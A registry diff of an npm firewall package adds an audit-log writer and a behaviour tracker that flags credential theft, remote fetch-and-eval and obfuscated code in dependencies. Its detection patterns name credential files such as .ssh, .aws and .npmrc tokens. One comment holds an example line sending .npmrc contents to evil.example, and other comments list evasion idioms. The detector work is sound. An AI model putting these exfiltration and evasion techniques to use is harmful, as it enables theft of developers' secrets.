aletheia-firewall 0.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,102 @@
1
+ // packages/fw-agent/src/audit-log.js
2
+ // Persistent append-only forensic event writer with size-based log rotation.
3
+ // Writes structured JSON lines to HELIOS_LOG_DIR or falls back to a temp directory.
4
+
5
+ const fs = require('fs');
6
+ const path = require('path');
7
+ const os = require('os');
8
+
9
+ const DEFAULT_LOG_DIR =
10
+ process.env.HELIOS_LOG_DIR ||
11
+ (process.platform !== 'win32' ? '/var/log/helios' : path.join(os.tmpdir(), 'helios'));
12
+
13
+ const MAX_FILE_SIZE = 10 * 1024 * 1024; // 10 MB per rotation segment
14
+ const MAX_ROTATIONS = 5;
15
+
16
+ class AuditLog {
17
+ constructor(logDir = DEFAULT_LOG_DIR) {
18
+ this.logDir = logDir;
19
+ this.logPath = null;
20
+ this.fd = null;
21
+ this._init();
22
+ }
23
+
24
+ _init() {
25
+ // Try configured dir; fall back to system temp on permission errors
26
+ for (const dir of [this.logDir, path.join(os.tmpdir(), 'helios')]) {
27
+ try {
28
+ fs.mkdirSync(dir, { recursive: true });
29
+ this.logDir = dir;
30
+ this.logPath = path.join(dir, 'audit.log');
31
+ this.fd = fs.openSync(this.logPath, 'a');
32
+ return;
33
+ } catch (e) {
34
+ // Try next fallback
35
+ }
36
+ }
37
+ // All attempts failed - audit log disabled, events go to stderr only
38
+ this.logPath = null;
39
+ }
40
+
41
+ _rotate() {
42
+ if (!this.logPath) return;
43
+ try {
44
+ if (this.fd !== null) {
45
+ fs.closeSync(this.fd);
46
+ this.fd = null;
47
+ }
48
+ for (let i = MAX_ROTATIONS - 1; i >= 1; i--) {
49
+ const src = `${this.logPath}.${i}`;
50
+ const dst = `${this.logPath}.${i + 1}`;
51
+ if (fs.existsSync(src)) {
52
+ try { fs.renameSync(src, dst); } catch (e) {}
53
+ }
54
+ }
55
+ try { fs.renameSync(this.logPath, `${this.logPath}.1`); } catch (e) {}
56
+ this.fd = fs.openSync(this.logPath, 'a');
57
+ } catch (e) {
58
+ // If rotation fails, attempt a fresh open
59
+ try { this.fd = fs.openSync(this.logPath, 'a'); } catch (e2) { this.fd = null; }
60
+ }
61
+ }
62
+
63
+ write(event) {
64
+ const line = JSON.stringify({ ...event, _logged_at: new Date().toISOString() }) + '\n';
65
+
66
+ if (this.fd !== null) {
67
+ try {
68
+ const buf = Buffer.from(line, 'utf8');
69
+ fs.writeSync(this.fd, buf);
70
+ const stat = fs.fstatSync(this.fd);
71
+ if (stat.size > MAX_FILE_SIZE) {
72
+ this._rotate();
73
+ }
74
+ } catch (e) {
75
+ process.stderr.write('[AuditLog] write error: ' + e.message + '\n');
76
+ }
77
+ } else {
78
+ // Fallback: structured stderr so events aren't silently lost
79
+ process.stderr.write('[HELIOS-AUDIT] ' + line);
80
+ }
81
+ }
82
+
83
+ close() {
84
+ if (this.fd !== null) {
85
+ try { fs.closeSync(this.fd); } catch (e) {}
86
+ this.fd = null;
87
+ }
88
+ }
89
+
90
+ get filePath() {
91
+ return this.logPath;
92
+ }
93
+ }
94
+
95
+ let _instance = null;
96
+
97
+ function getAuditLog() {
98
+ if (!_instance) _instance = new AuditLog();
99
+ return _instance;
100
+ }
101
+
102
+ module.exports = { AuditLog, getAuditLog, DEFAULT_LOG_DIR };
@@ -0,0 +1,455 @@
1
+ // packages/fw-agent/src/behavior-tracker.js
2
+ // Behavioral analyzer for sequence-based threat detection.
3
+ // Tracks dangerous action sequences within a single module.
4
+
5
+ // Signal detection patterns for each behavioral category
6
+ const SIGNAL_PATTERNS = {
7
+ // Reads sensitive credential files (fs-based). process.env is tracked separately
8
+ // via ENV_READ to avoid false-positive CREDENTIAL_EXFILTRATION on normal HTTP libraries.
9
+ SENSITIVE_READ: [
10
+ /fs\s*\.\s*readFile/,
11
+ /fs\s*\.\s*readFileSync/,
12
+ /fs\s*\.\s*open(?:Sync)?\s*\(/,
13
+ ],
14
+ // Bare environment variable access — common in normal apps; escalates to WARN only
15
+ // unless a SENSITIVE_PATH is also present (genuine credential file access).
16
+ ENV_READ: [
17
+ /process\s*\.\s*env\b/,
18
+ ],
19
+ SENSITIVE_PATH: [
20
+ // Match .env only as a file-path reference (preceded by quote, slash, or backtick),
21
+ // not as a property access like `process.env.FOO` (F-16 false-positive fix).
22
+ /['"\/`]\.env\b/i,
23
+ /[\/\\][\w.\-]{0,40}credentials/i,
24
+ /[\/\\]\.ssh\b/,
25
+ /id_rsa/,
26
+ /[\/\\]\.netrc/,
27
+ /[\/\\]\.aws\b/,
28
+ /[\/\\][\w.\-]{0,40}secret/i,
29
+ /[\/\\][\w.\-]{0,40}passwd/i,
30
+ /[\/\\][\w.\-]{0,40}shadow/i,
31
+ ],
32
+ // Infrastructure / browser credential stores (kubeconfig, docker registry auth, Chrome's
33
+ // "Login Data" password DB). UNLIKE ~/.ssh or ~/.aws, these files ARE legitimately read by
34
+ // real packages — @kubernetes/client-node reads ~/.kube/config, docker clients read
35
+ // ~/.docker/config.json — and those libraries then make network calls to the cluster/registry.
36
+ // So a bare "read + network egress" here is NOT proof of theft and must not hard-block, or we
37
+ // false-positive on legit infra clients. They only become a CREDENTIAL_EXFILTRATION signal
38
+ // when paired with a DELIBERATE exfil destination (a hardcoded non-registry host or an explicit
39
+ // {host:...} override) — same WHERE-does-the-data-go discriminator used for .npmrc. Kept in a
40
+ // separate list (not SENSITIVE_PATH) precisely so the stricter escalation rule applies. Closes
41
+ // red-team exfil-docker-config / exfil-kube-config / exfil-browser-cookies without FP risk.
42
+ SENSITIVE_CONFIG_PATH: [
43
+ /[\/\\]\.kube[\/\\]config\b/i,
44
+ /[\/\\]\.docker[\/\\]config\.json/i,
45
+ /[\/\\]Login Data\b/,
46
+ ],
47
+ // .npmrc is its own (weaker) signal, not a SENSITIVE_PATH (F-30 redo): every npm client,
48
+ // installer, and publish tool legitimately reads .npmrc to resolve the registry URL, so
49
+ // bare "reads .npmrc + makes a network call" is not evidence of anything by itself. It only
50
+ // becomes a credential-theft signal combined with an actual token-field reference, an
51
+ // explicit host override, or a hardcoded exfil destination below -- see the escalation rule
52
+ // in analyzeModule(). NOTE: the first cut of F-30 gated escalation solely on the literal
53
+ // string `_authToken` appearing in the module, which missed the more common real attack --
54
+ // reading the whole file and shipping it without ever naming the field
55
+ // (`fetch('http://evil.example/c?d='+fs.readFileSync('.npmrc'))`). The discriminator that
56
+ // actually holds is WHERE the data goes, not whether a field name is parsed out of it.
57
+ NPMRC_READ: [
58
+ /\.npmrc/i,
59
+ ],
60
+ // The npm auth token/password fields in a real .npmrc, e.g.
61
+ // `//registry.npmjs.org/:_authToken=...` or `_auth=...` -- these are the actual secret,
62
+ // as opposed to the plain `registry=` config line every package manager reads.
63
+ NPMRC_TOKEN: [
64
+ /_authToken/i,
65
+ /_auth\b/i,
66
+ /_password\b/i,
67
+ /authToken/i,
68
+ ],
69
+ // Explicit destination override alongside a network call, e.g. https.request({host:
70
+ // 'evil.example', ...}) -- a deliberate redirect, not the ambiguous case a bare hardcoded
71
+ // URL literal can be (see HARDCODED_EGRESS_CALL).
72
+ HOST_OPTION: [
73
+ /host\s*:\s*['"`][^'"`]+/,
74
+ ],
75
+ // Makes outbound network connections
76
+ NETWORK_EGRESS: [
77
+ /http\s*\.\s*request\s*\(/,
78
+ /https\s*\.\s*request\s*\(/,
79
+ /http\s*\.\s*get\s*\(/,
80
+ /https\s*\.\s*get\s*\(/,
81
+ /\bfetch\s*\(/,
82
+ /net\s*\.\s*connect\s*\(/,
83
+ /net\s*\.\s*createConnection\s*\(/,
84
+ /socket\s*\.\s*connect\s*\(/,
85
+ /new\s+WebSocket\s*\(/,
86
+ /XMLHttpRequest/,
87
+ /tls\s*\.\s*connect\s*\(/,
88
+ /dgram\s*\.\s*createSocket/,
89
+ // Inline require("https").get/request — not caught by the patterns above
90
+ /require\s*\(\s*['"]https?['"]\s*\)\s*\.\s*(?:get|request)\s*\(/,
91
+ // Inline require("net"|"tls"|"dgram").<call> — the bound forms above match `net.connect(`
92
+ // but not the one-liner `require("net").connect(` idiom used to dodge the egress signal
93
+ // (red-team exfil-inline-require-net). Mirrors the http/https inline pattern.
94
+ /require\s*\(\s*['"](?:net|tls|dgram)['"]\s*\)\s*\.\s*(?:connect|createConnection|createSocket|request|get)\s*\(/,
95
+ // Non-HTTP egress channels used to smuggle data out: DNS-tunnel (dns.resolve/resolveTxt/…,
96
+ // NOT dns.lookup which is ubiquitous and internal) and navigator.sendBeacon. These only
97
+ // matter as egress when combined with a credential read (CREDENTIAL_EXFILTRATION) — bare use
98
+ // is harmless. red-team exfil-dns-tunnel / exfil-env-sendbeacon.
99
+ /dns\s*\.\s*resolve[A-Za-z0-9]*\s*\(/,
100
+ /navigator\s*\.\s*sendBeacon\s*\(/,
101
+ ],
102
+ // Generates or evaluates code at runtime
103
+ DYNAMIC_CODE: [
104
+ /\beval\s*\(/,
105
+ /new\s+Function\s*\(/,
106
+ /\bFunction\s*\(\s*['"`]/,
107
+ /vm\s*\.\s*runIn(?:This|New|)Context\s*\(/,
108
+ /vm\s*\.\s*Script\s*\(/,
109
+ /\bsetTimeout\s*\(\s*['"`]/,
110
+ /\bsetInterval\s*\(\s*['"`]/,
111
+ /Script\s*\.\s*runInNewContext/,
112
+ // Inline require("vm").runInThisContext/Script — the bound `vm.runInThisContext(` form is
113
+ // matched above, but the one-liner require("vm").runInThisContext( dodges it (red-team
114
+ // dce-inline-require-vm). Mirrors the inline-require egress pattern in NETWORK_EGRESS.
115
+ /require\s*\(\s*['"]vm['"]\s*\)\s*\.\s*(?:runIn(?:This|New|)Context|Script)\s*\(/,
116
+ // Indirect eval — `(0, eval)(code)` runs the string in global scope without a literal
117
+ // `eval(` call site (red-team sc-githubusercontent-eval). The `(0,eval)` construct is a
118
+ // deliberate idiom that does not occur in ordinary code, so this is safe as a dynamic-code
119
+ // signal (it still only blocks when chained with egress/process-exec, never alone).
120
+ /\(\s*0\s*,\s*eval\s*\)/,
121
+ ],
122
+ // Decodes an encoded blob (base64/hex) back into a string. On its own this is benign
123
+ // (every HTTP/crypto library does it); it only matters combined with DYNAMIC_CODE — the
124
+ // classic "decode an opaque payload, then eval it" obfuscation. Kept narrow on purpose:
125
+ // Buffer.from must name a 'base64'/'hex' encoding (bare Buffer.from(x) is a byte copy, not
126
+ // a decode), and atob() is the browser/base64 decoder. F-31.
127
+ CODE_DECODE: [
128
+ /\batob\s*\(/,
129
+ /Buffer\s*\.\s*from\s*\([^)]*['"`](?:base64|hex)['"`]\s*\)/i,
130
+ ],
131
+ // Executes external processes
132
+ PROCESS_EXEC: [
133
+ /child_process/,
134
+ /\bexecSync\s*\(/,
135
+ /\bspawnSync\s*\(/,
136
+ /\bexecFile\s*\(/,
137
+ /\bexecFileSync\s*\(/,
138
+ /ShellString/,
139
+ // process.binding("spawn_sync"|"process_wrap"|"pipe_wrap") is the low-level internal path to
140
+ // launch a process, used to dodge the child_process signal (red-team dce-process-binding).
141
+ // Anchored to the process-spawning bindings ONLY: bare process.binding( also names benign
142
+ // internals — lodash/sequelize use process.binding('util') for type detection — so matching
143
+ // any binding false-positived DYNAMIC_CODE_EXEC_CHAIN alongside their Function('return this').
144
+ /process\s*\.\s*binding\s*\(\s*['"`](?:spawn_sync|process_wrap|pipe_wrap)/i,
145
+ ],
146
+ // Loads modules dynamically or via non-literal paths
147
+ DYNAMIC_REQUIRE: [
148
+ /require\s*\.\s*resolve\s*\(/,
149
+ /module\s*\._load\s*\(/,
150
+ /require\s*\(\s*(?!['"`])[^)]+\)/, // require(variable)
151
+ ],
152
+ };
153
+
154
+ function matchesAny(content, patterns) {
155
+ return patterns.some(p => p.test(content));
156
+ }
157
+
158
+ // A quoted absolute URL passed directly as the argument of an actual network-call site --
159
+ // distinguishes theft (hardcodes the destination) from legit npm tooling (builds the URL
160
+ // from config, e.g. `fetch(`${registry}/${name}`)`). Anchored to the call site itself (not
161
+ // "any quoted URL anywhere in the file") so a legit fallback-default constant sitting next to
162
+ // a config-driven fetch -- e.g.
163
+ // `const registry = cfg.match(...) ? m[1] : 'https://registry.npmjs.org'` -- does not
164
+ // false-positive just because that literal exists somewhere in the module. Matched against
165
+ // raw `content`, not `scanSrc`: scanSrc already strips all https?:// literals wholesale (see
166
+ // the URL-stripping replace() in analyzeModule()) so a content-based check here would never
167
+ // match if run against scanSrc. Kept outside SIGNAL_PATTERNS (and not a matchesAny() boolean
168
+ // check) because it needs its capture group -- callers that iterate SIGNAL_PATTERNS expecting
169
+ // arrays of boolean-test regexes (e.g. the registry's watch-changes.js evidence reconstruction)
170
+ // would break on a single global regex with a capture group.
171
+ const HARDCODED_EGRESS_CALL = /(?:https?\s*\.\s*(?:get|request)|fetch|net\s*\.\s*(?:connect|createConnection)|socket\s*\.\s*connect|new\s+WebSocket|tls\s*\.\s*connect|require\s*\(\s*['"]https?['"]\s*\)\s*\.\s*(?:get|request))\s*\(\s*['"`](https?:\/\/[^'"`$\s]+)/g;
172
+
173
+ class BehaviorTracker {
174
+ constructor() {
175
+ // Per-module signal cache (filename -> signals). Shape is unchanged from the intra-file
176
+ // era so analyzePackage() / callers that iterate it keep working.
177
+ this.moduleSignals = new Map();
178
+ // filename -> packageKey, used to SCOPE cross-file correlation to a single npm package.
179
+ // The runtime firewall resets per dependency-tree root, so without scoping analyzePackage()
180
+ // would pair signals across the whole app (a config-reading module + any http module) and
181
+ // false-positive. The registry batch scanner resets per package and passes no key, so its
182
+ // whole-map behavior is preserved.
183
+ this.filePackage = new Map();
184
+ // Accumulated violations for telemetry
185
+ this.violations = [];
186
+ }
187
+
188
+ /**
189
+ * Analyze a module and return any behavioral violations found.
190
+ * Checks intra-module signal sequences. `packageKey` (optional) tags this file's signals so a
191
+ * later analyzePackage(packageKey) can correlate only within the same package.
192
+ */
193
+ analyzeModule(filename, content, packageKey) {
194
+ if (!content) return [];
195
+
196
+ // SENSITIVE_PATH / SENSITIVE_READ must only fire on genuine filesystem access, not on
197
+ // import/require module specifiers (e.g. "@memberjunction/credentials") or URL paths
198
+ // (e.g. "https://api.example.com/totpSecret"). Blank just the specifier STRING in place
199
+ // (never drop the whole line/statement) so chained calls on the same line survive --
200
+ // e.g. `const s = require('fs').readFileSync('.env')` must keep the '.env' argument
201
+ // visible to SENSITIVE_PATH after the 'fs' specifier is blanked (F-27b regression: the
202
+ // prior line-drop approach deleted this one-line idiom entirely, producing a false
203
+ // negative on the most common credential-theft pattern).
204
+ //
205
+ // Comments come first in the chain (F-28): a path-shaped string mentioned only in
206
+ // prose (e.g. `// src/auth/credentials.ts`) previously survived into scanSrc and, next
207
+ // to any real networkEgress call elsewhere in the module, false-positived
208
+ // CREDENTIAL_EXFILTRATION. Block comments are blanked to a space (preserves token
209
+ // boundaries so adjoining code doesn't fuse); line comments are dropped up to the
210
+ // newline, guarded by a negative lookbehind on ':' so the "//" in "https://" is never
211
+ // mistaken for a comment start and real code following a same-line URL survives.
212
+ const scanSrc = content
213
+ .replace(/\/\*[\s\S]*?\*\//g, ' ') // block comments
214
+ .replace(/(?<!:)\/\/[^\n]*/g, '') // line comments
215
+ .replace(/(\brequire\s*\(\s*)(['"`])(?:\\.|(?!\2)[^\\])*\2(\s*\))/g, '$1$2$2$3') // require('spec')
216
+ .replace(/(\bfrom\s+)(['"`])(?:\\.|(?!\2)[^\\])*\2/g, '$1$2$2') // import ... from 'spec'
217
+ .replace(/(\bimport\s*\(\s*)(['"`])(?:\\.|(?!\2)[^\\])*\2(\s*\))/g, '$1$2$2$3') // import('spec')
218
+ .replace(/https?:\/\/[^\s'"`]+/g, '') // URLs
219
+ .replace(/`[^`]*\$\{[^`]*`/g, ''); // template-literal URL builders
220
+
221
+ // Hardcoded-URL call sites, e.g. fetch('http://evil.example/...'). Extracted (not just
222
+ // matched) so the escalation rule below can tell a hardcoded exfil host apart from a
223
+ // hardcoded reference to the real npm registry (see hardcodedEgressNonRegistry).
224
+ const hardcodedEgressUrls = [];
225
+ for (const m of content.matchAll(HARDCODED_EGRESS_CALL)) {
226
+ hardcodedEgressUrls.push(m[1]);
227
+ }
228
+
229
+ const signals = {
230
+ sensitiveRead: matchesAny(scanSrc, SIGNAL_PATTERNS.SENSITIVE_READ),
231
+ sensitivePath: matchesAny(scanSrc, SIGNAL_PATTERNS.SENSITIVE_PATH),
232
+ sensitiveConfigPath: matchesAny(scanSrc, SIGNAL_PATTERNS.SENSITIVE_CONFIG_PATH),
233
+ npmrcRead: matchesAny(scanSrc, SIGNAL_PATTERNS.NPMRC_READ),
234
+ npmrcToken: matchesAny(scanSrc, SIGNAL_PATTERNS.NPMRC_TOKEN),
235
+ hostOption: matchesAny(content, SIGNAL_PATTERNS.HOST_OPTION),
236
+ hardcodedEgress: hardcodedEgressUrls.length > 0,
237
+ hardcodedEgressNonRegistry: hardcodedEgressUrls.some(u => !/^https?:\/\/registry\.npmjs\.org\b/i.test(u)),
238
+ envRead: matchesAny(content, SIGNAL_PATTERNS.ENV_READ),
239
+ networkEgress: matchesAny(content, SIGNAL_PATTERNS.NETWORK_EGRESS),
240
+ dynamicCode: matchesAny(content, SIGNAL_PATTERNS.DYNAMIC_CODE),
241
+ // Matched against scanSrc (comments/URLs/specifiers stripped) so a decode call named
242
+ // only in a comment cannot manufacture the OBFUSCATED_CODE_EXECUTION signal. F-31.
243
+ codeDecode: matchesAny(scanSrc, SIGNAL_PATTERNS.CODE_DECODE),
244
+ processExec: matchesAny(content, SIGNAL_PATTERNS.PROCESS_EXEC),
245
+ dynamicRequire: matchesAny(content, SIGNAL_PATTERNS.DYNAMIC_REQUIRE),
246
+ };
247
+
248
+ this.moduleSignals.set(filename, signals);
249
+ if (packageKey !== undefined && packageKey !== null) this.filePackage.set(filename, packageKey);
250
+
251
+ const found = [];
252
+
253
+ // Intra-module rule: credential file read OR sensitive path + network egress → CRITICAL exfiltration.
254
+ // Bare process.env reads are intentionally excluded here (F-16: false-positive on axios, dotenv, etc.)
255
+ // and handled by the ENV_NETWORK_EGRESS WARN rule below.
256
+ if (signals.sensitivePath && signals.networkEgress) {
257
+ found.push({
258
+ rule: 'CREDENTIAL_EXFILTRATION',
259
+ severity: 'CRITICAL',
260
+ description: 'Module reads sensitive credentials and makes network calls',
261
+ });
262
+ }
263
+
264
+ // Intra-module rule: .npmrc read + network egress. CRITICAL when there's a concrete
265
+ // theft signal -- an actual token/password field reference, an explicit host override, or
266
+ // a hardcoded destination that isn't the real npm registry. A hardcoded call-site URL that
267
+ // IS registry.npmjs.org (some legit tools hardcode it instead of building it from config)
268
+ // is downgraded to WARN rather than blocked, same as the config-built-URL case -- the
269
+ // registry host itself isn't a theft signal, only an unusual one.
270
+ if (signals.npmrcRead && signals.networkEgress) {
271
+ if (signals.npmrcToken || signals.hostOption || signals.hardcodedEgressNonRegistry) {
272
+ found.push({
273
+ rule: 'CREDENTIAL_EXFILTRATION',
274
+ severity: 'CRITICAL',
275
+ description: 'Module reads .npmrc and exfiltrates its contents, an auth token, or redirects to a hardcoded/overridden destination',
276
+ });
277
+ } else {
278
+ found.push({
279
+ rule: 'NPMRC_NETWORK_EGRESS',
280
+ severity: 'WARN',
281
+ description: 'Module reads .npmrc and makes network calls (common in npm tooling; monitor for token extraction or a hardcoded exfil destination)',
282
+ });
283
+ }
284
+ }
285
+
286
+ // Intra-module rule: infra/browser credential store read + network egress WITH a deliberate
287
+ // exfil destination → CRITICAL. The destination gate (hardcoded non-registry host or explicit
288
+ // {host:...} override) is what separates theft from legitimate k8s/docker/browser tooling,
289
+ // which reads these files and connects to a config-derived (not hardcoded-attacker) endpoint.
290
+ if (signals.sensitiveConfigPath && signals.networkEgress &&
291
+ (signals.hardcodedEgressNonRegistry || signals.hostOption)) {
292
+ found.push({
293
+ rule: 'CREDENTIAL_EXFILTRATION',
294
+ severity: 'CRITICAL',
295
+ description: 'Module reads an infrastructure/browser credential store and sends it to a hardcoded or overridden destination',
296
+ });
297
+ }
298
+
299
+ // Intra-module rule: bare env read + network egress → WARN only (common in normal apps).
300
+ // Escalates to CRITICAL only if a sensitive credential path is also detected (handled above).
301
+ if (signals.envRead && signals.networkEgress && !signals.sensitiveRead && !signals.sensitivePath) {
302
+ found.push({
303
+ rule: 'ENV_NETWORK_EGRESS',
304
+ severity: 'WARN',
305
+ description: 'Module reads process.env and makes network calls (common pattern; monitor for credential paths)',
306
+ });
307
+ }
308
+
309
+ // Intra-module rule: dynamic code generation + process execution → code injection chain
310
+ if (signals.dynamicCode && signals.processExec) {
311
+ found.push({
312
+ rule: 'DYNAMIC_CODE_EXEC_CHAIN',
313
+ severity: 'CRITICAL',
314
+ description: 'Module generates code dynamically and executes system processes',
315
+ });
316
+ }
317
+
318
+ // Intra-module rule: decode an encoded blob + evaluate it as code → the classic
319
+ // "unpack an opaque payload, then eval/Function it" obfuscation (F-31). Bare eval and
320
+ // Buffer.from are WARN-only (F-20 — both appear in legitimate build tools), so neither
321
+ // primitive blocks alone; it's the *decode-then-execute* combination that is the strong
322
+ // malicious signal. HIGH → hard block in index.js (detector.js escalates HIGH to a
323
+ // non-warnOnly block detection). This closes the base64→eval gap where a comment-free
324
+ // `Buffer.from(b64,'base64').toString(); eval(x)` previously fell through as OBSERVE.
325
+ if (signals.dynamicCode && signals.codeDecode) {
326
+ found.push({
327
+ rule: 'OBFUSCATED_CODE_EXECUTION',
328
+ severity: 'HIGH',
329
+ description: 'Module decodes an encoded blob (base64/hex) and evaluates it as code',
330
+ });
331
+ }
332
+
333
+ // Intra-module rule: network egress + dynamic code generation → fetch-and-execute. The
334
+ // "download a second stage from a remote host and eval/new Function it" pattern (red-team
335
+ // sc-fetch-eval-generic-host / sc-githubusercontent-eval / sc-transfer-sh /
336
+ // sc-s3-remote-config-eval). Both signals are required and neither blocks alone (bare eval is
337
+ // WARN-only per F-20; bare fetch is benign), so this only fires when a module both reaches the
338
+ // network AND evaluates code — a combination that is implausible in reputable packages.
339
+ // HIGH → hard block. Kept below CREDENTIAL_EXFILTRATION/OBFUSCATED so a payload that already
340
+ // matched a more specific rule is not double-reported here (dedup is not required, but the
341
+ // ordering keeps the most descriptive rule first).
342
+ if (signals.networkEgress && signals.dynamicCode) {
343
+ found.push({
344
+ rule: 'REMOTE_FETCH_EXEC',
345
+ severity: 'HIGH',
346
+ description: 'Module makes a network request and evaluates code at runtime (remote fetch-and-execute)',
347
+ });
348
+ }
349
+
350
+ // Standalone rule: dynamic require with non-literal path → module injection risk
351
+ if (signals.dynamicRequire) {
352
+ found.push({
353
+ rule: 'DYNAMIC_MODULE_LOAD',
354
+ severity: 'MEDIUM',
355
+ description: 'Module uses dynamic require() or module._load with a non-literal path',
356
+ });
357
+ }
358
+
359
+ if (found.length > 0) {
360
+ this.violations.push({ filename, violations: found, timestamp: Date.now() });
361
+ }
362
+
363
+ return found;
364
+ }
365
+
366
+ /**
367
+ * Cross-file correlation: analyzeModule() only ever sees one file's content, so a package that
368
+ * splits a credential read into file A and the exfiltrating network call into file B (or the
369
+ * dynamic-code / process-exec chain, same idea) never has both signals present in any single
370
+ * analyzeModule() call and evades every intra-module rule above. This re-applies the same
371
+ * combination rules across every file's cached signals, pairing signals that land in two
372
+ * DIFFERENT files (same-file combinations are already caught intra-module).
373
+ *
374
+ * SCOPING: when `packageKey` is passed, only files tagged with that key are correlated — this
375
+ * is how the runtime firewall keeps cross-file bounded to one npm package instead of the whole
376
+ * dependency tree (see filePackage). With no key it correlates the whole map, which is the
377
+ * registry batch-scanner contract (it resets() per package, so the whole map IS one package).
378
+ * Callers in either mode MUST reset() between packages.
379
+ *
380
+ * NB (deviation from the original registry rule, carried back on sync): the credential pairing
381
+ * keys on `sensitivePath` (a genuine credential path), NOT bare `sensitiveRead` (any
382
+ * fs.readFile). The looser form false-positived on ordinary multi-file packages that read a
383
+ * template/asset in one file and make an HTTP call in another. This matches the intra-file
384
+ * rule's strictness.
385
+ */
386
+ analyzePackage(packageKey) {
387
+ let entries = [...this.moduleSignals.entries()];
388
+ if (packageKey !== undefined && packageKey !== null) {
389
+ entries = entries.filter(([f]) => this.filePackage.get(f) === packageKey);
390
+ }
391
+ const found = [];
392
+ if (entries.length < 2) return found;
393
+
394
+ const filesWhere = (pred) => entries.filter(([, s]) => pred(s)).map(([f]) => f);
395
+ // Strip to basenames in descriptions so scanner-host temp paths never leak; pairing itself
396
+ // stays on full paths (two distinct files can share a basename).
397
+ const base = f => String(f).split(/[\\/]/).pop();
398
+ const crossPair = (as, bs) => {
399
+ for (const a of as) for (const b of bs) if (a !== b) return [base(a), base(b)];
400
+ return null;
401
+ };
402
+
403
+ const credFiles = filesWhere(s => s.sensitivePath);
404
+ const npmrcTokenFiles = filesWhere(s => s.npmrcRead && (s.npmrcToken || s.hostOption || s.hardcodedEgressNonRegistry));
405
+ const egressFiles = filesWhere(s => s.networkEgress);
406
+ const dynamicCodeFiles = filesWhere(s => s.dynamicCode);
407
+ const processExecFiles = filesWhere(s => s.processExec);
408
+
409
+ const credPair = crossPair(credFiles, egressFiles);
410
+ if (credPair) {
411
+ found.push({
412
+ rule: 'CREDENTIAL_EXFILTRATION_CROSS_FILE',
413
+ severity: 'CRITICAL',
414
+ description: `Package reads sensitive credentials in ${credPair[0]} and makes network calls in ${credPair[1]} -- split across files to evade per-file scanning`,
415
+ files: credPair,
416
+ });
417
+ }
418
+
419
+ const npmrcPair = crossPair(npmrcTokenFiles, egressFiles);
420
+ if (npmrcPair) {
421
+ found.push({
422
+ rule: 'CREDENTIAL_EXFILTRATION_CROSS_FILE',
423
+ severity: 'CRITICAL',
424
+ description: `Package reads .npmrc credentials in ${npmrcPair[0]} and makes network calls in ${npmrcPair[1]} -- split across files to evade per-file scanning`,
425
+ files: npmrcPair,
426
+ });
427
+ }
428
+
429
+ const execPair = crossPair(dynamicCodeFiles, processExecFiles);
430
+ if (execPair) {
431
+ found.push({
432
+ rule: 'DYNAMIC_CODE_EXEC_CHAIN_CROSS_FILE',
433
+ severity: 'CRITICAL',
434
+ description: `Package generates code dynamically in ${execPair[0]} and executes system processes in ${execPair[1]} -- split across files to evade per-file scanning`,
435
+ files: execPair,
436
+ });
437
+ }
438
+
439
+ if (found.length > 0) {
440
+ this.violations.push({ filename: '<package>', violations: found, timestamp: Date.now() });
441
+ }
442
+
443
+ return found;
444
+ }
445
+
446
+ reset() {
447
+ this.moduleSignals.clear();
448
+ this.filePackage.clear();
449
+ this.violations = [];
450
+ }
451
+ }
452
+
453
+ // SIGNAL_PATTERNS is exported so downstream tooling can iterate the raw signal regexes for
454
+ // evidence reconstruction (the registry's watch-changes.js). Keeps this engine a drop-in copy.
455
+ module.exports = { BehaviorTracker, SIGNAL_PATTERNS };